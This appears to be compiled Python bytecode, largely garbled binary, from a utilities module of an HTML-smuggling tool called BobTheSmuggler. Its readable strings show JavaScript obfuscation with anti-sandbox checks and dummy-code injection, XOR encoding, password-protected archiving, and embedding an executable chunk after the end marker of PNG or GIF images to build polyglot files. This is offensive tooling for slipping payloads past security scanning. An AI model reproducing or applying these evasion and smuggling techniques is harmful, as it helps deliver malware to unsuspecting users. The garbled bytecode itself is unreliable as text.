R
    /Lj<                           ] QH Gs ] QHGs ] PHs] PHs] PHs] PHs] PH s] PH$s	] PH(s
] PH,sQ sQ sQ sQ sQ sQ sQ	 sQQ
 ksQ sP! )    )logging)CustomImageChunkc                        , o QF   D@  o [         O                  O                  U 2      %       f   J*  [         O                   U 2       JB  	  [	        QU  Q02       P! )temp.7zz[91m[Cleanup] Removed [0m)r   temp.zip)ospathexistsremoveprint)TempFiles    GC:\Users\Administrator\Documents\BobTheSmuggler\core\utilities\utils.pycleanupr      sD    H+77>>(##IIh , 
&xj
89    c                       [        U Q 2      9^tt^ 2       o[        UO                  2       2       PPP2       P!  ) %       f   h     P! 9 h)r)openr   read)r
   files   & r   DisplayBannerr      s)    	dCDdiik 
s   :A	A	c                  n      PO                  [        O                   [        O                  ]Q5      2      ! ) k)joinrandomchoicesstringascii_letters r   r   RandomizeVarr"      s"    776>>&"6"6!<==r   c                v     QoPO                  [        O                   [        O                  ]
Q5      2      oPO                  [        O                   [        O                  ]
Q5      2      oPO                  [        O                   [        O                  ]
Q5      2      oPO                  [        O                   [        O                  ]
Q5      2      oQU Q[        O
                   QQ2       QU Q[        O
                   ]dQ	2       Q
[        O
                   ]dQ	2       QU Q[        O
                   ]A]Z2       Q
[        O
                   ]A]Z2       QU Q0o[        O                   QQU 2      o[        O                   QQU2      o[        O                   QQU2      o[        O                   QQU2      o[        O                   QQU2      o[        O                   QQU2      o[        O                   QQU2      oV*           U*           o[        O                   Q[        U2       Q02       U! )a7  
Second-layer JavaScript obfuscation (semantic layer).

GetJS() already handles Layer 1:
  - Variable name randomization (25+ vars)
  - Minification (single line)

This layer (Layer 2) adds:
  - Anti-sandbox detection
  - Dummy code injection
  - Control-flow obfuscation
  - Additional aggressive minification
z(function(){if(!navigator.plugins||navigator.plugins.length===0)return;try{var c=document.createElement('canvas').getContext('webgl');if(!c)return;}catch(e){return;}})();r   zvar =  i'  z;var z=[  ,z];var z=String.fromCharCode(z);function z(){return null;};z#\s*([=+\-*/<>!&|^~?:;,{}()\[\]])\s*z\1z\bvar\s+z\bfunction\s+z	function z	\bif\s*\(zif(z\belse\s*\{zelse{z
\bfor\s*\(zfor(z\bwhile\s*\(zwhile(z,ObfuscateJS Layer 2 applied. Anti-sandbox + z bytes dummy code injected.)r   r   r   r   r    randintresubr   debuglen)	JScodeanti_sandbox
dummy_var1
dummy_var2
dummy_var3
dummy_var4
dummy_codeminifiedfinal_jss	   &        r   ObfuscateJSr6      s     @L (<(<CDJ(<(<CDJ(<(<CDJ(<(<CDJAfnnT$&?%@ A#Bv~~c#'>&?qPSTWAX@Y Z#$9&..B:O9PPQRXR`R`acdfRgQh i(\)<>J vv<eVLH vvk684Hvv&X>HvvlE84Hvvngx8HvvmVX6Hvvox:H (83HMM@Z@QQlmnOr   c                       [        [        U 2      TTt, tF   D$  v  q#V1U[        U2      *          *          *          MJ&  	  too2      ! t tooh )N)bytes	enumerater,   )datakeyibs   &&  r   	EncodeXORr>   L   s8    IdODODA!!c#h,'''ODEEDs   ,A
c                 |      [         O                   P	Q5      oUO                  U 2      oQU7   c   Q! QU7   c   Q! P! )T)mimehtmlsvg)magicMagic	from_file)FilePathr@   	mime_types   &  r   IdentifyFileTyperH   O   s7    ;;D!Dx(I	)	r   c                      [         O                   Q U  Q02       [        U Q2      9^tt^ 2       o[        O                   UO                  2       2      O                  Q2      ttPPP2       !  ) %       f   h     P! 9 h)zConverting z to base64.rbzutf-8)r   r+   r   base64	b64encoder   decode)filenamer   s   & r   Base64EncoderO   Y   sT    MMKz56	h				,33G< 
			s   3A..A?	7A?	c                 d     UQ 6X  c   QLQoU O                  2       oUO                  Q2      %       c   UQ 6X  f   UO                  Q2      %       c/   UQ6X  c(   [        O                   QU  Q02       [	        Q2       U ! [        O                   Q	U  Q
U QU Q02        [
        O                  O                  U 2      %       c   UQ 6X  c\   [        O                   UQUQ5      9^tt^ 2       oUO                  U [
        O                  O                  U 2      2       PPP2       U! UQ6X  c   [        O                   U PV1]2       U! [
        O                  O                  U 2      %       Cc[   [
        O                   U 2      Tt, tF   Df  o[
        O                  O                  [
        O                  O!                  V2      2      %       f   JG  [
        O                  O!                  V2      MJh  	  oo[	        Q[
        O                  O#                  U 2       Q02       SF   D  o[	        QU Q02       J  	  UQ 6X  cf   [        O                   UQUQ5      9^tt^ 2       oSF   D2  o	UO                  U	[
        O                  O%                  V2      2       J4  	  PPP2       U! UQ6X  c   [        O&                   U, V1]2       U! [)        QU  02      g ) %       f   h     S! 9 ht toh  ) %       f   h     S! 9 h [*         c    o
[        O,                   QS
 02       g Po
=
hh 9 h)7zr   r   z.7zz.zipzipz(Input file is already compressed. Using z directly (no re-compression).zJ[92m[INFO] Input file is already compressed. Skipping re-compression.[0mzCompressing z with password [z] using z format.w)modepasswordz"[92mFiles found in the Directory z/:[0mz	[92m  - r   z'Invalid path or unsupported file type: zError during compression: )lowerendswithr   r+   r   r	   r
   isfilepy7zrSevenZipFilewritebasename	pyminizipcompressisdirlistdirr   abspathrelpathcompress_multiple
ValueError	Exceptionerror)FileOrDirectoryrU   formatofile
file_lowerarchivef	FilesListfilesfnamees   &&&        r   CompressFileDirrq   ^   s   4IZE !&&(JE""v~:;N;Nv;V;V[aej[j@@QQopq`bMML 11A(8TZS[[cde77>>/**~''C(KKwMM/2773C3CO3TU L, L) 5""?D%1M$ L# WW]]?++CE::oC^  TC^abdbibibpbpqsqxqxq}q}  N  rR  cS9o9C^I  T9"''///:Z9[[def"UG734 #~''C(KKw!*eRWW__U-TU "+ L L 5++Ir5AN L	 FFWXYY% LK, L T
 LK L  21#67s   !$L L !L .0KL (L /L 
%L 0L AK,#K,5AL !L $:K1L (L /L 
L K)	!K)	#L )L 1L	:L	<L L 	L/L/L**L/c                      [        U Q 2      9^tt^ 2       o[        O                   QUO                  2        Q02       UO	                  2       oPPP2       [        UQ 2      9^tt^ 2       o[        O                   Q2       UO	                  2       oPPP2       [
        O                   ]2      o[        QUO                  2        Q02       [        WU2      o[        QVs2      o	[        QV2      o
UQ6X  c   Q	oLUQ
6X  c   QoL[        Q2      gWO                  U2      oUP6X  c   [        Q2       [        ]2       [        U2      oUQ o[        O!                  U2      oUQ6X  c   UPU U	*           U
*           V\P *           oL*UQ
6X  c$   UPU U	*           U
*           U*           V\P *           o[        O                   QUO                  2        Q02       [        UQ2      9^tt^ 2       oUO#                  W2       PPP2       P!  ) %       f   h     CK9 h ) %       f   h     CK9 h ) %       f   h     P! 9 h)rJ   zReading z filezReading compressed filez
[92mGenerated XOR Key: z[0m
s   xkEys   exEfpngs       IENDB`gifs    ;zUnsupported image typez!Invalid {ImageType.upper()} file.08xzCreating new z with embedded EXE chunkwb)r   r   r+   upperr   r	   urandomr   hexr>   r   rd   rfindexitr,   r8   fromhexr[   )PathToImageFilePathToZIPFileOutputFilePath	ImageTyperl   	ImageDataCompressedDataKeyXOREncodedDataXORKeyChunkHiddenDataChunkSignatureEOFEOFposition
DataLengthDataLengthInHexDataLengthInBytesPolyglotImageDatas   &&&&             r   embedr      s   	ot	$	$!2 359:FFH	 
% 
mT	"	"a/1 
#
 ZZ^F	)&**,y
AB ~v6N  ;H&wJOE K	e	"122//,/Kb12Q^$J#C(Oo6E%l{3h>PS\]iSjj	e	%l{3h>PSddgpq}g~~MMM)//"3!44LMN	nd	#	#q	!" 
$	#Y 
%	$	$ 
#	"	"P 
$	#	#s5   9H+'H,H0H	H	H-	%H-	0I	9I	)rQ   )core.logging.debugr   core.operations.chunksr   rK   rY   r	   r   r   r]   rC   r)   r   r   r"   r6   r>   rH   rO   rq   r   r!   r   r   <module>r      sS    & 3   	     	:>
.`F=
&R.#r   